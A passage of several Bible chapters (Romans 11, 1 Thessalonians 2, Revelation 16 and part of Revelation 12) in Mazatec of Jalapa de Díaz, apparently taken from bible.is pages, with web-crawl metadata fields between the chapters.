16Tsà tsjeè ni̱ño̱ xi sindaà ítjòn nga ko̱nga̱tsja Nainá, ti̱koa̱á tsjeè‑né na̱'yo̱ xi ko̱chjeén nga sindaà ni̱ño̱ k'e̱ nga ko̱ma i̱skan. Tsà tsjeè i̱t'aà ts'e̱ Nainá i̱'ma̱‑la̱ yá, jñà chrja‑la̱ ti̱koa̱á tsjeè‑né. 17Jñà xi̱ta̱ Israel, k'oa̱á s'ín ngaya‑la̱ koni jngoò yá olivo ndaà xi kitiìt'aà chrja‑la̱, koa̱ ngaji̱ k'oa̱á s'ín ngaya‑la̱ koni chrja‑la̱ yá olivo i̱jiìn ijñá nga ya̱ kisìkjoòkoi̱i ya̱ ngajo‑la̱ chrja‑la̱ yá olivo ndaà; k'oa̱á ma‑ne nga ya̱ tíchjoí jè nga'ñó‑la̱ i̱'ma̱‑la̱ yá olivo ndaà. 18Kì 'nga nìkíjni yijo‑lè nga ya̱ titsa̱kjoòkoi̱i chrja‑la̱ yá olivo ndaà. Ti̱kítsjiìn nga tà kisìkjoòko̱‑nè; mìtsà ji̱ 'biì‑la̱ nga'ñó jñà i̱'ma̱‑la̱ yá olivo ndaà, tà saà ji̱ tsjá‑lè nga'ñó jñà i̱'ma̱‑la̱ yá olivo ndaà. 19Ji̱, kì k'oa̱á si: \"Kitiìt'aà chrja‑la̱ yá olivo ndaà, nga 'a̱n kisìkjoòkoa̱a.\" 20Ti̱kítsjiìn koií kjoa̱‑la̱ nga mìkiì mokjeiín‑la̱ nga kitiìt'aà‑ne. Ta̱nga ji̱ koií kjoa̱‑la̱ nga mokjeiín‑lè nga ya̱ ti̱jnat'eiì. Kì 'ngaá beè‑la̱ takoìn, ti̱skón‑la̱ Nainá. 21Nainá, tsà mìkiì kitsjaà'nde‑la̱ jñà chrja‑la̱ jè yá olivo ndaà nga ya̱ kíjnakjoòko̱ ti̱koa̱á ngaji̱ tsà mì ti̱ kiì mokjeiín‑lè mì ti̱ kiì tsjá'nde‑lè nga ya̱ ki̱jnakjoòkoi̱i. 22Chìtsejèn‑la̱ Nainá, 'ñó ndaà xi̱ta̱ ta̱nga ti̱koa̱á jè xi mejèn‑la̱ nga ndaà ki̱tasòn 'én xi chja̱. Mìkiì beè i̱ma̱ jñà xi̱ta̱ xi chinchat'aàxìn‑la̱ Nainá. Ta̱nga i̱t'aà tsi̱ji títsjá‑lè kjo̱ndaà. Tà jè xi mochjeén nga k'oa̱s'ín ki̱jni koni s'ín tjín kjo̱ndaà xi kitsjaà‑lè. Tsà majìn ti̱koa̱ ko̱tet'aà‑lè koni jngoò chrja‑la̱ yá. 23Jñà xi̱ta̱ judío xi chrja‑la̱ yá xi kitiìt'aà, tsà ko̱kjeiín ìjngoò k'a‑la̱, ko̱maá sincháya‑ne i̱'nde‑la̱, nga Nainá tjín‑la̱ nga'ñó, ko̱maá kìkjoò ìjngoò k'a‑ne. 24Ji̱, nga ya̱ kitiìt'aà‑ne jñà yá olivo i̱jiìn ijñá koa̱ kisìkjoòkoi̱i yá olivo ndaà na̱s'ín mìkiì ya̱ ok'ìn‑lè. ¡Ìsa̱á tà ndaà ok'ìn‑la̱ nga jñà chrja‑la̱ yá olivo xi xó kitjaàjiìn‑ne nga sincháya ìjngoò k'a‑ne i̱'nde‑la̱ xi ti̱jè‑ne yijo‑la̱ yá! 25'Ndsè, mejèn‑na̱ nga ndaà kàtasijiìn‑nò kjoa̱'ma koi koni s'ín tjíndaà‑la̱ Nainá mé‑ne nga mì 'ñó chji̱ne̱ ki̱nachrje yijo‑nò. Jè kjoa̱ nga tjín i'nga xi̱ta̱ Israel xi kjòtájaàjiìn ini̱ma̱‑la̱ nga mìkiì mokjeiín‑la̱, ta̱nga skanda k'e̱é ko̱kjeiín‑la̱ k'e̱ nga jye ko̱kjeiín yije‑la̱ xi mìtsà xi̱ta̱ judío. 26K'e̱ nga jye k'oa̱s'ín ko̱ma, ngats'iì xi̱ta̱ Israel kítsa̱jnandei̱í‑né xi kjoa̱ ts'e̱ jé‑la̱, koni s'ín tíchja̱ xo̱jo̱n nga tsò: Ya̱á nindoò Sión kji̱nchrobà‑ne xi ma‑la̱ si̱ìkítsa̱jnandei̱í xi̱ta̱ Israel xi kjoa̱ ts'e̱ jé‑la̱, jè xi kjoa̱áxìn‑la̱ jé‑la̱ jñà xi̱ta̱ tje̱‑la̱ Jacob. 27Jè kjoa̱ xi bìndaàjiìn‑koa̱a k'e̱ nga kjoa̱áxìn‑la̱ jñà jé xi tjín‑la̱. 28Kjoa̱ ts'e̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo, jñà xi̱ta̱ judío, kondra̱‑la̱á ma Nainá mé‑ne jñò sa̱kò‑nò kjo̱ndaà. Ta̱nga jè kjoa̱ nga xó kitjaàjiìn‑ne xi̱ta̱ koi, tákó matsjakeè Nainá nga jye ko̱s'ín kitsjaà‑la̱ tso'ba jñà xi̱ta̱ jchínga kjiìn‑la̱. 29Nainá mìkiì faáxìn kjo̱tjò xi tsjá, ti̱koa̱ mìkiì faáxìn 'én xi chja̱‑ná. 30Jñò, k'oa̱á ti̱s'ín ki'nè nga sa̱ kjòtseé; mìkiì kinìkitasòn‑là Nainá, ta̱nga i̱'ndei̱ jyeé kisakò‑nò kjo̱hi̱ma̱takòn, koií nga̱tjì‑la̱ nga mìkiì kisìkitasòn jñà xi̱ta̱ judío. 31Na̱chrjein i̱'ndei̱ jñà xi̱ta̱ judío mìkiì síkitasòn‑la̱ Nainá. Ta̱nga tà koi‑né nga jè Nainá tjín‑la̱ kjo̱hi̱ma̱takòn xi i̱t'aà tsa̱jòn mé‑ne jñà xi̱ta̱ koi ti̱koa̱á s'e̱‑la̱ kjo̱hi̱ma̱takòn ts'e̱ Nainá. 32Nainá, k'oa̱á tsò nga ngats'iì xi̱ta̱ judío, ko̱ xi mìtsà xi̱ta̱ judío, mìkiì síkitasòn‑la̱ nga jè xi mejèn‑la̱ Nainá nga ngásòn ngáya ko̱hi̱ma̱keè ngats'iì xi̱ta̱. 33¡Mé tà 'ñó tse ma kjoa̱nchi̱ná xi tjín‑la̱ Nainá, ko̱ 'ñó tse kjoa̱chji̱ne̱ tjín‑la̱ ko̱ kjo̱hítsjeèn‑la̱! Ni̱jngoò xi̱ta̱ xi machi̱ya‑la̱ kós'ín kosòn‑la̱ k'e̱ nga bíndaàjiìn ko̱ kós'ín tjín ndi̱yá‑la̱. 34¿Yá xi beè kós'ín tjín kjo̱hítsjeèn‑la̱ Nainá? Mì yá xi ko̱ma‑la̱ si̱ìkíchi̱ya‑la̱ Na̱'èn‑ná. 35¿Yá xi̱ta̱ xi jè kisìkìña ítjòn‑la̱ xi mochjeén‑la̱ Nainá mé‑ne nga jè si̱ìkátji ngajo‑la̱? 36I̱t'aà ts'e̱é Nainá nchrobát'aà‑ne ngats'iì tsojmì xi tjín, ti̱koa̱ i̱t'aà ts'e̱‑né nga títsa̱kon, ko̱ k'oa̱á s'ín mochjeén nga jeya kíjna. Nainá, kàtas'e‑la̱ kjoa̱jeya ni̱ta̱ mé na̱chrjein‑ne. K'oa̱s'ín kàtama.\nRomanos 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/11","date":"2013-12-05T01:51:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163038079\/warc\/CC-MAIN-20131204131718-00005-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000097751617432}","num_words":1019,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.305,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò ndí 'ndsè ko̱ ndí tichjaá, 'ya‑nò k'e̱ nga ijchochón‑nòje̱n mìtsà ta kjo̱tjò. 2Nga jyeé ndaà tíjiìn‑nò koni s'ín komàt'in‑je̱n ján na̱xa̱ndá Filipos, nga 'ñó tse kjo̱'in kinìkjeiín‑je̱n; 'ñó kijtseètoòn‑naje̱n xi̱ta̱; ta̱nga Nainá kisìchját'aà‑naje̱n nga kitsjaà‑naje̱n nga'ñó nga komà tsanguì‑je̱n ya̱ na̱xa̱ndá‑nò nga komà tsibèno̱jmí‑nòje̱n 'én ndaà‑la̱ Nainá na̱s'ín 'ñó kjìn ma kondra̱‑naje̱n. 3Nga 'én kixi̱í kinokjoàya‑je̱n, mìtsà jò tjín ini̱ma̱‑na̱je̱n nga tsibèno̱jmí‑nòje̱n, ti̱koa̱ mìtsà xi̱ta̱ kichona̱cha̱n‑la̱je̱n. 4Nga̱ Nainá jyeé kiskoòt'aà‑naje̱n ko̱ k'oa̱á kitsò nga ok'ín‑naje̱n nga ngaje̱n kjònga̱tsja‑je̱n 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo mé‑ne nga ko̱ma ki̱nókjoa̱ya‑je̱n. Mìtsà jè xi mejèn‑naje̱n nga ndaà ki̱tsa̱jna‑je̱n nguixko̱n xi̱ta̱; jè‑né nga ndaà ki̱tsa̱jna‑je̱n nguixko̱n Nainá nga jè xi tíbeè ini̱ma̱‑ná. 5Jyeé ndaà tíjiìn‑nò nga mìtsà 'én tsjén nokjoà‑je̱n koni tsà mé xi mejèn‑naje̱n nga k'oi̱‑náje̱n, ti̱koa̱á mìtsà to̱n binchaàtsji'ma‑je̱n. Kjoa̱ koi, Nainá tíbeè‑né. 6Mìtsà jè binchaàtsji‑je̱n nga jñò, ko̱ xi̱ta̱ xi kj'ei̱í, nga 'nga si̱ìkítsa̱jna‑náje̱n. Tsà ji̱n xi mejèn‑naje̱n nga tsibìnè‑nòje̱n kjo̱tíxoma xi tjín‑naje̱n nga i̱t'aà ts'e̱ Cristo kisìxáya‑naje̱n, komaá‑la o̱kinìko̱‑nòje̱n. 7Ta̱nga mìtsà ko̱s'ín kinìko̱‑nòje̱n. Ta sa̱á k'oa̱s'ín kinìko̱‑nòje̱n koni ndí i̱xti. K'oa̱á ngaya‑la̱ koni jngoò nea̱ xi síkaki i̱xti‑la̱ nga ndaà síjchá i̱xti‑la̱. 8'Ñó tjòcha ki'ya‑nòje̱n. K'oa̱á ma‑ne nga ko̱ kjo̱tsja‑naje̱n tsibèno̱jmí‑nòje̱n 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. Ti̱koa̱á matsjaá‑naje̱n nga ndaà kinìko̱‑nòje̱n ni̱ta̱ mé kjoa̱ xi komàt'ioòn ta koií kjoa̱‑la̱ nga 'ñó matsjacha‑nòje̱n. 9Ndí 'ndsè ko̱ ndí tichjaá, bítsjeèn‑nò kós'ín kinìxá‑je̱n nga binchaàtsji'a‑je̱n yijo‑naje̱n. Ko̱ na̱chrjein ko̱ ni̱tje̱n nìxá‑je̱n, mé‑ne nga mì jñò si̱jti‑nòje̱n jñà na̱chrjein k'e̱ nga kinokjoàyajiìn‑nòje̱n 'én ndaà‑la̱ Nainá. 10Jñò, ndaà ki'yaà, ti̱koa̱á Nainá kijtseè‑né, nga ngaje̱n ndaà kinìko̱‑nòje̱n. K'oa̱á s'ín kinìko̱‑nòje̱n koni s'ín sasén‑la̱ Nainá koni s'ín tjín xi kjoa̱ kixi̱. Ko̱ ni̱yá xi jé ko̱ònè‑naje̱n koni s'ín kinìko̱‑nòje̱n jñò xi mokjeiín‑nò 'én ndaà‑la̱ Nainá. 11Ti̱koa̱á jyeé ndaà tíjiìn‑nò nga je̱n, ndaà kinìko̱‑nòje̱n nga jngoò ìjngoò koni s'ín síko̱ i̱xti‑la̱ jngoò xi̱ta̱ xi na̱'èn ma. 12Kinìje ikon‑nòje̱n koa̱ kinì'ñójiìn‑je̱n takòn ko̱ k'oa̱s'ín tsibìnè‑nòje̱n nga k'oa̱s'ín s'e̱en koni s'ín ok'ìn‑la̱ xi xi̱ta̱‑la̱ Nainá maà; nga jè‑né xi síkí'nchré‑nò nga ya̱ titsa̱jnajiìn‑là xi̱ta̱ xi jye jè tíhotíxoma‑la̱ ko̱ ti̱koa̱ ya̱ titsa̱jnajñoò kjoa̱jeya‑la̱. 13Kjit'aà na̱chrjein 'biì‑la̱je̱n kjo̱ndaà Nainá koni s'ín ndaà kichjoétjò 'én‑la̱ nga mìtsà k'oa̱s'ín kichjoétjò koni 'én‑la̱ xi ta̱xki̱ xi̱ta̱. K'oa̱á s'ín kichjoétjò koni tjín xi nguì kjoa̱ kixi̱ nga 'én‑la̱ Nainá‑né. Jñà 'én koi, tí'yaá‑la̱ nga nchisíxájiìn ini̱ma̱‑nò jñò xi mokjeiín‑nò. 14Jñò ndí 'ndsè ko̱ ndí tichjaá, k'oa̱á s'ín komàt'ioòn koni s'ín komàt'in jñà xi̱ta̱ na̱xa̱ndá‑la̱ Nainá xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo Jesús xi títsa̱jna ján nangui Judea. Ti̱jñà‑ne xi̱ta̱ na̱xa̱ndá judío xíkjín kiìtji̱ngui kondra̱‑la̱. Jñò ti̱jñà‑ne xi̱ta̱ na̱xa̱ndá tsa̱jòn kiìtji̱ngui kondra̱‑nò. 15Jñà xi̱ta̱ judío kisìk'en Na̱'èn‑ná Jesús ko̱ ti̱jñà‑ne xi̱ta̱ jchínga‑la̱ kisìk'en jñà xi̱ta̱ xi kiìchja̱ya̱ nga̱jo̱‑la̱ Nainá kjòtseé. I̱'ndei̱, tákó k'oa̱á síko̱‑naje̱n nga fìtji̱ngui kondra̱‑naje̱n. Nainá mìkiì sasén‑la̱ kjoa̱ xi s'ín xi̱ta̱ koi, nguì kondra̱á fì‑la̱ ngats'iì kjoa̱, 16nga mìkiì tsjá'nde nga nokjoà‑la̱je̱n jñà xi mìtsà xi̱ta̱ judío mé‑ne nga ti̱koa̱ ki̱tjokàjiìn‑ne kjo̱'in. K'oa̱á ma‑ne xi̱ta̱ koi, skanda nchisíkatonè‑la̱ nga ótsji jé‑la̱ yijo‑la̱. Jyeé kjo̱meè f'iìkanè‑la̱ kjo̱'in xi tji̱ko̱ kjo̱jti‑la̱ Nainá. 17'Ndseé ko̱ tichjaá, k'e̱ nga chinchat'aàxìn chiba na̱chrjein‑nòje̱n, na̱s'ín mì ti̱ kiì kiyaxkon‑ná xinguia̱á, ngaje̱n 'ñó nìkítsjeèn‑nòje̱n. 'Ñó mejèn‑naje̱n nga onguíchoòn‑nòje̱n. 18Mejèn tsanguì‑je̱n. 'A̱n xi 'mì‑na̱ Pablo, kjìn k'a mejèn kiaà, ta̱nga jè xi̱ta̱ nei̱í mìkiì kitsjaà'nde‑naje̱n. 19Kjoa̱ tsa̱jòn‑nò nga titsa̱chiñá‑la̱je̱n nga 'ñó ko̱tsja‑naje̱n ko̱ nga ndaà ki̱tjo‑je̱n k'e̱ nga kjoi̱í ìjngoò k'a Na̱'èn‑ná Jesucristo. 20Kixi̱í kjoa̱ i̱t'aà tsa̱jòn‑nò nga ndaà ki̱tjongui‑je̱n ko̱ nga s'e̱‑naje̱n kjoa̱ tsja.\n1 Tesalonicenses 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Thess\/2","date":"2013-12-13T03:39:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164844212\/warc\/CC-MAIN-20131204134724-00017-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000041723251343}","num_words":558,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.306,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ki'nchrè jngoaà 'én xi ya̱ itjo‑ne i̱'nde tsjeè‑la̱ Nainá nga kitsò‑la̱ jñà àkja̱le̱ xi itoò ma‑ne: ―Tanguió, tíxteèn‑sòn i̱sò'nde jñà xi tjíya chi̱tsín xi itoò ma‑ne, kjo̱'in xi tji̱ko̱ kjoa̱jti‑la̱ Nainá. 2Kiì jè àkja̱le̱ xi tsako̱ ítjòn‑la̱. Tsibíxteèn‑sòn i̱sò'nde xi tjíya chi̱tsín‑la̱. Ngats'iì xi̱ta̱ xi tjín‑la̱ chi̱ba̱‑la̱ cho̱ ts'e̱n ko̱ xi beèxkón jè i̱sén xkósòn‑la̱ jè cho̱ je xi ch'o kji, tsako̱‑la̱ ch'in xa̱jtsé xi 'ñó ch'o kjoàn ko̱ ijò jchán ma. 3Jè àkja̱le̱ xi ma‑ne jò tsibíxteèn‑jiìn ndáchikon xi tjíya chi̱tsín‑la̱. Ko̱ jè ndáchikon, nguì jní komà, koni tsà ya̱ k'en‑jiìn xi̱ta̱. Ngats'iì xi títsa̱jnakon ya̱ i̱jiìn ndáchikon jngoò k'aá k'en. 4Jè àkja̱le̱ xi ma‑ne jàn, tsibíxteèn‑jiìn ya̱ xa̱jngá nandá ko̱ ñánda tíbitjo nandá, jè xi tjíya chi̱tsín‑la̱. Saà jní komà. 5I̱kjoàn ki'nchrè‑la̱ jè àkja̱le̱ xi ts'e̱ nandá, kitsò: ―Ngaji̱ Na̱'èn, tjín‑lè kjoa̱kixi̱, nga k'oa̱á s'ín kits'iì‑la̱ kjo̱'in jñà xi̱ta̱ i̱t'aà ts'e̱ kjoa̱ koi, nga̱ ji̱í xi xi̱ta̱ tsjeè 'mì‑lè, ji̱í xi tijni skanda kjòtseé, tijni skanda i̱'ndei̱. 6Nga jñà xi̱ta̱ koi tsibíxteèn jní‑la̱ xi̱ta̱‑lè nga jñà kisìk'en, ko̱ xi̱ta̱ xi kiìchja̱‑ngajo‑lè. I̱'ndei̱ ngaji̱ k'oa̱á ti̱s'ín tì'biì ngajo‑la̱ jní nga nchi'biì; ya̱á chi̱ba̱‑la̱. 7Ti̱koa̱ ki'nchrè jngoò‑la̱ 'én xi ya̱ i̱t'aà ími̱xa̱ tsjeè‑la̱ Nainá chja̱, nga tsò: ―Ji̱ Na̱'èn xi Nainá 'mì‑lè, xi ta ji̱ ta̱ jngoò‑né xi 'ñó tse nga'ñó tjín‑lè, kixi̱í kjoa̱, jñà kjo̱'in xi tí'biì‑la̱ xi̱ta̱ koi, ndaá tjín ko̱ nguì kixi̱í tjín. 8Jè àkja̱le̱ xi ma‑ne ñijòn, tsibíxteèn xi tjíya chi̱tsín‑la̱ ya̱ i̱sòn ts'oí. Jè ts'oí kitjò'nde‑la̱ nga jè ndobá‑la̱ kisìchjàn yijo‑la̱ xi̱ta̱. 9Jè ndobá‑la̱ ts'oí 'ñó kisìchjàn‑la̱ ngats'iì xi̱ta̱ ta̱nga jñà xi̱ta̱ koi mìkiì kisìkájno jé‑la̱ ni̱ mìkiì jeya kisìkíjna Nainá; ta sa̱á kiìchja̱jno‑la̱ Nainá nga jè xi tjín‑la̱ nga'ñó i̱t'aà ts'e̱ kjo̱'in koi. 10Jè àkja̱le̱ xi ma‑ne 'òn, tsibíxteèn‑sòn jè xi tjíya chi̱tsín‑la̱ ya̱ ñánda tíhotíxoma jè cho̱ ts'e̱n. Ko̱ jè i̱'nde ñánda tíhotíxoma jè cho̱ je xi ch'o kji, kòjñò‑né. Jñà xi̱ta̱ xi beèxkón jè cho̱ ts'e̱n kiskinetjòn ni̱je̱n‑la̱ nga 'ñó ijò komà‑la̱. 11Ta̱nga mìkiì kisìkájno jé‑la̱; tà sa̱á ìsa̱ ndaà kiìchja̱jno‑la̱ Nainá xi ts'e̱ ngajmiì, koií kjoa̱‑la̱ nga ijò komà yijo‑la̱ nga xa̱jtsé tjín‑la̱. 12Jè àkja̱le̱ xi ma‑ne joòn tsibíxteèn‑jiìn xi tjíya chi̱tsín‑la̱ ya̱ xa̱jngá nandá‑je Éufrates. Jè nandá‑la̱ xa̱jngá, kixìya‑né, mé‑ne nga ko̱ma kjoa̱hato‑ne jñà xi̱ta̱xá ítjòn xi nchrobá‑ne ñánda bitjokàtji‑ne ts'oí. 13Kìjtseè‑ná nga jè ye̱ xi 'ñó je kji, ko̱ jè cho̱ je xi ch'o kji, ko̱ jè xi̱ta̱ xi kiìchja̱ya 'én ndiso nga itjo‑ne tso'ba jàn ini̱ma̱ ch'o xi cho̱ xke̱ kjoàn. 14Jñà‑né ini̱ma̱ ch'o‑la̱ nei̱í xi s'ín kjo̱xkón; bitjo nga bíxkóya xi̱ta̱xá ítjòn xi tjín nga tíjtsa i̱sò'nde nga kji̱nchrobà kjo̱jchán jè na̱chrjein xi jye tjíndaà‑la̱ Nainá xi ta jè ta̱jngoó xi 'ñó tse nga'ñó tjín‑la̱. 15\"Ti̱ná'yaà, 'a̱n, k'oa̱á s'ín kjoia̱a koni s'ín f'iì xi̱ta̱ chijé. Mé ta ndaà‑la̱ jè xi̱ta̱ xi tíjnandaà k'e̱ nga 'a̱n xi kjoia̱a; kjijnandaà nikje‑la̱ nga ko̱kjá; mé‑ne nga mìkiì ko̱sobà‑la̱ nga tíjna laká.\" 16Jñà ini̱ma̱ cho̱‑la̱ nei̱í tsibíxkóya xi̱ta̱xá ítjòn‑la̱ i̱sò'nde ya̱ i̱'nde ñánda 'mì Armagedón xi 'én hebreo. 17Jè àkja̱le̱ xi ma‑ne itoò, tsibíxteèn i̱jiìn i̱sén xi tjíya chi̱tsín‑la̱. Kiì'nchré‑la̱ 'én xi 'ñó kiìchja̱ xi ya̱ inchrobà‑ne i̱'nde tsjeè‑la̱ Nainá xi tíjna ngajmiì ñánda tíjna jè xi tíjnasòn íxi̱le̱ nga tíhotíxoma; kitsò: ―Jyeé tsitasòn yije. 18I̱kjoàn jate ni'ín ch'o̱n, kina'yà‑la̱ jta̱, kits'iìn ch'o̱n, ts'a ch'ón xi 'ñó jchán ts'a; ni̱ saà jngoò k'a k'oa̱s'ín 'ba kóni nga ti̱sa̱ tsatsejèn xi̱ta̱ i̱sò'nde. 19Jè na̱xa̱ndá je xi 'ñó ndaà yaxkon‑la̱, jàn ya komà. Ko̱ jñà na̱xa̱ndá xi chja̱‑ne nga ìjngoò ìjngoò nangui xi tjín i̱sò'nde, jngoò k'aá kichijà. Ko̱ jè na̱xa̱ndá je xi 'mì Babilonia xi 'ñó ndaà yaxkon‑la̱, mìkiì kisìjchàajiìn Nainá nga kitsjaà‑la̱ kjo̱'in, k'oa̱á ngaya‑la̱ koni kisìk'iì jngoò chi̱tsín xi tjíya vino xi nguì kjoa̱jti‑la̱ Nainá xi jè jye tíjnandaà‑la̱. 20Ngats'iì nangui xi tjín i̱jiìn ndáchikon ko̱ jñà nindoò, jngoó k'aá kichijà, mì ti̱ kiì ki'ya‑la̱. 21Jñà xi̱ta̱ tsanè jtsí nda̱jo̱ xi 'ñó tsiaàn kjoàn, tjín‑la̱ tsà ichán kilo nga jngoò ìjngoò. Jñà xi̱ta̱, 'on kiìchja̱jno‑la̱ Nainá, koií kjoa̱‑la̱ nga tse kjo̱'in kis'e‑la̱ kjoa̱ ts'e̱ jtsí nda̱jo̱.\nApocalipsis 16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/16","date":"2013-12-11T18:10:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164041513\/warc\/CC-MAIN-20131204133401-00019-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.000008225440979}","num_words":657,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.309,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ján ngajmiì tsatsejèn jngoò kjo̱xkón. Jngoò chjo̱ón ki'ya‑la̱; jè ts'oí xi ma nikje‑la̱. Jè sá ya̱á tíjna i̱ngui ndso̱ko̱, ko̱ jngoò corona tjí'a sko̱ xi tejò ni'ño tjít'aà. 2Jè chjo̱ón, ki'ndí 'ya. 'Ñó jchán kjindáya nga jye machrañà nga jts'ín ki'ndí‑la̱; tseé kjo̱'in tísíkjeiín nga jye ijchò chi̱ba̱‑la̱ nga jts'ín ki'ndí‑la̱. 3Ján ngajmiì ìjngoò kjo̱xkón tsatsejèn. Jngoò ye̱ xi 'ñó je kji tsatsejèn. Inì kji, itoò ma sko̱, ko̱ jngoò corona i̱tsé tjí'a nga jngoò ìjngoò sko̱. Ti̱koa̱á te ma nchra̱já‑la̱. 4Jè nditsin ye̱, jngoò ya ni'ño tsibíndofe xi ma‑ne jàn ya ngats'iì ni'ño xi tjín ngajmiì, i̱kjoàn tsibítsjot'aà nangui. Jè ye̱ je, tsasìjnat'aà‑la̱ jè chjo̱ón xi tí'beé ki'ndí mé‑ne nga ski̱ne̱‑ne ki'ndí‑la̱ k'e̱ nga jye jts'ín. 5Jè chjo̱ón, tsi'beé jngoò ki'ndí x'i̱n nga jè ko̱tìxoma‑la̱ ngats'iì na̱xa̱ndá xi tjín i̱sò'nde koni jngoò xi̱ta̱ xi yá ki̱cha̱ kjiya tsja nga ki̱ìnè‑la̱ kjo̱'in xi̱ta̱ xi mìkiì 'nchréñijon‑la̱. Ta̱nga jè ki'ndí‑la̱ chjo̱ón, kitjá'an‑la̱; ya̱á kiìko̱ ñánda tíjna Nainá nga tíhotíxoma. 6Jè chjo̱ón, tsanga‑né. Ján kiì i̱'nde i̱t'aà xìn ñánda nangui kixì choòn, ñánda nga Nainá tsibíjnandaà jngoò‑la̱ i̱'nde nga ya̱ katjiì‑la̱ tsojmì xi ski̱ne̱. Jngoò jmiì ko̱ jò sìndo̱ ko̱ jàn‑kaàn na̱chrjein kíjna. 7Xi jye komà i̱skan, ján ngajmiì kis'e kjo̱jchán. Jè àkja̱le̱ Miguel ko̱ àkja̱le̱‑la̱ kiskaàn‑kjoòko̱ jè ye̱ je. Ko̱ jè ye̱ je, ko̱ àkja̱le̱‑la̱ na̱s'ín 'ñó kiskaàn‑kjoò, 8ta̱nga mìkiì kisìkijne‑la̱, ko̱ mì ti̱ mé i̱'nde kis'e‑la̱ ján ngajmiì. 9K'oa̱á s'ín komà nga itjokàjiìn ngajmiì jè ye̱ jchínga xi 'mì Xi̱ta̱ Nei̱í ko̱ xi 'mì Satanás xi kona̱cha̱n‑la̱ ngats'iì xi̱ta̱ i̱sò'nde. Kinìkatje̱ngui ya̱ i̱t'aà nangui ko̱ àkja̱le̱‑la̱. 10Ki'nchrè jngoò‑la̱ jta̱ ján ngajmiì xi 'ñó kiìchja̱ xi tsò: ―I̱'ndei̱ jyeé ijchò na̱chrjein nga ki̱tjokàjiìn kjo̱'in xi̱ta̱ xinguia̱á nga ko̱ nga'ñó‑la̱ Nainá nga jè ko̱tìxoma ko̱ kjo̱tíxoma xi tjín‑la̱ Cristo [xi Nainá xó kisìkasén‑ne], koií kjoa̱‑la̱ nga jye kànìkatje̱ngui jè xi ko̱ na̱chrjein ko̱ ni̱tje̱n tsját'in 'én ndiso xi̱ta̱ xinguia̱á nga nguixko̱n Nainá. 11Jñà xi̱ta̱ xinguia̱á, nga nguì ko̱ó nga'ñó xi tjín‑la̱ jní xi tsibíxteèn jè Orrè kisìkijne‑la̱ ko̱ nguì ko̱ó jñà 'én xi kitsjaà i̱t'aà ts'e̱ Nainá. Mìkiì kitsakjòn‑la̱ na̱s'ín kinìk'en. 12Tsja kàtas'e‑la̱ ngajmiì ko̱ jñà xi ya̱ títsa̱jna. Ta̱nga i̱ma̱ xó‑nò jñò xi ya̱ titsa̱jnaà i̱t'aà nangui ko̱ xi titsa̱jnaà ya̱ i̱jiìn ndáchikon nga jè xi̱ta̱ nei̱í jyeé ijchòjen‑tji̱ngui‑nò ko̱ 'ñó jti tjín‑la̱ nga jyeé tíjiìn‑la̱ nga ta chiba na̱chrjein kíjna‑ìsa. 13Jè ye̱ xi 'ñó je kji, k'e̱ nga kinìkatje̱ngui i̱t'aà nangui, tsangatji̱ngui‑la̱ jè chjo̱ón xi tsi'beé ki'ndí x'i̱n. 14Ta̱nga jè chjo̱ón, jò jnga̱á ts'e̱ ja̱ kits'iì‑la̱ xi 'ñó iì kjoàn mé‑ne ko̱ma tótje̱n‑ne nga ko̱nga‑la̱ jè ye̱ xi je kji. Ján kiì kíjna ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì choòn. Jàn nó osen kíjna nga ko̱kinda̱ nga tjoé‑la̱ tsojmì xi ski̱ne̱. 15Jè ye̱ xi je kji, tsachrje nandá tso'ba nga ndána̱ ko̱ma mé‑ne nga ko̱ma ki̱chrjoako̱‑ne jè chjo̱ón. 16Ta̱nga jè nangui kisìchját'aà‑la̱ jè chjo̱ón; kitáx'a̱, kits'iì ndána̱ xi jè ye̱ tsachrje tso'ba. 17Jè ye̱ ìsa̱á 'ñó kjòjtikeè jè chjo̱ón. Kiì tji̱ngui kondra̱‑la̱ jñà xi̱ta̱ tje̱‑la̱ chjo̱ón nga kiìkjaán‑ko̱ jñà xi síkitasòn kjo̱tíxoma‑la̱ Nainá ko̱ jñà xi ndaà tsjá 'én i̱t'aà ts'e̱ Cristo. 18Jè ye̱, ya̱á tsibìjnajiìn tsomì xi 'ncha i̱ndiì ndáchikon.\nApocalipsis 